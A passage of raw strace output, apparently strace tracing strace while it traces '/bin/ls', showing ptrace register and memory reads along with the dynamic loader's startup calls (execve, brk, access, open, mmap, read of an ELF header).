ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd100, [0x736c2f6e69622f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe370, [0x7fffffffe607]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe600, [0x6c00656361727473]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe608, [0x5f544942524f0073]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe378, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe380, [0x7fffffffe60a]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe388, [0x7fffffffe62e]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe390, [0x7fffffffe641]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe398, [0x7fffffffe64c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3a0, [0x7fffffffe65c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3a8, [0x7fffffffe6ad]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3b0, [0x7fffffffe6bf]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3b8, [0x7fffffffe6e9]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3c0, [0x7fffffffe709]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3c8, [0x7fffffffe717]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3d0, [0x7fffffffec07]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3d8, [0x7fffffffec2d]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3e0, [0x7fffffffec5f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3e8, [0x7fffffffecad]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3f0, [0x7fffffffecbf]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3f8, [0x7fffffffeceb]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe400, [0x7fffffffed01]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe408, [0x7fffffffed4e]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe410, [0x7fffffffed75]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe418, [0x7fffffffed8c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe420, [0x7fffffffed9c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe428, [0x7fffffffedb3]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe430, [0x7fffffffede8]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe438, [0x7fffffffedfc]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe440, [0x7fffffffee0d]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe448, [0x7fffffffee15]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe450, [0x7fffffffee29]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe458, [0x7fffffffee55]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe460, [0x7fffffffee66]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe468, [0x7fffffffeea3]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe470, [0x7fffffffef05]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe478, [0x7fffffffef25]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe480, [0x7fffffffef32]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe488, [0x7fffffffef3f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe490, [0x7fffffffef61]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe498, [0x7fffffffef9b]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe4a0, [0x7fffffffefb4]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe4a8, [0x7fffffffefca]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe4b0, [0]) = 0
write(2, "execve(\"/bin/ls\", [\"ls\"], [/* 38"..., 41) = 41
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3b]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3b]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xc]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
write(2, "brk(0", 5) = 5
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xc]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x61b000]) = 0
write(2, ") "..., 46) = 46
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
write(2, ") = -1 ENOENT (No such file"..., 47) = 47
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 8192, PROT_READ|PROT_"..., 71) = 71
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7ff9000]) = 0
write(2, ") = 0x7ffff7ff9000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df9c80]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x4]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df9c80, [0x2e646c2f6374652f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df9c88, [0x6f6c6572702e6f73]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df9c90, [0x6461]) = 0
write(2, "access(\"/etc/ld.so.preload\", R_O"..., 33) = 33
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
write(2, ") = -1 ENOENT (No such file"..., 47) = 47
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df71a6]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df71a0, [0x652f007368746170]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df71a8, [0x6f732e646c2f6374]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df71b0, [0x200065686361632e]) = 0
write(2, "open(\"/etc/ld.so.cache\", O_RDONL"..., 33) = 33
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
write(2, ") = 3\n", 11) = 11
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd980]) = 0
write(2, "fstat(3, ", 9) = 9
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd980, [0x801]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd988, [0x2792b]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd990, [0x1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd998, [0x81a4]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b0, [0x19329]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b8, [0x1000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c0, [0xd0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c8, [0x4d811b9b]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d0, [0xeb6e438]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d8, [0x4d811b9a]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e0, [0x268e6818]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e8, [0x4d811b9a]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f0, [0x268e6818]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda00, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda08, [0]) = 0
write(2, "{st_mode=S_IFREG|0644, st_size=1"..., 49) = 49
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x19329]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 103209, PROT_READ, MA"..., 47) = 47
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7fdf000]) = 0
write(2, ") = 0x7ffff7fdf000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
write(2, "close(3", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") "..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
write(2, ") = -1 ENOENT (No such file"..., 47) = 47
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7fec943]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fec940, [0x2f62696c2f00312e]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fec948, [0x6e696c657362696c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fec950, [0x312e6f732e7875]) = 0
write(2, "open(\"/lib/libselinux.so.1\", O_R"..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
write(2, ") = 3\n", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffdb38]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
write(2, "read(3, ", 8) = 8
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb38, [0x10102464c457f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb40, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb48, [0x1003e0003]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb50, [0x59b0]) = 0
write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 81) = 81
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
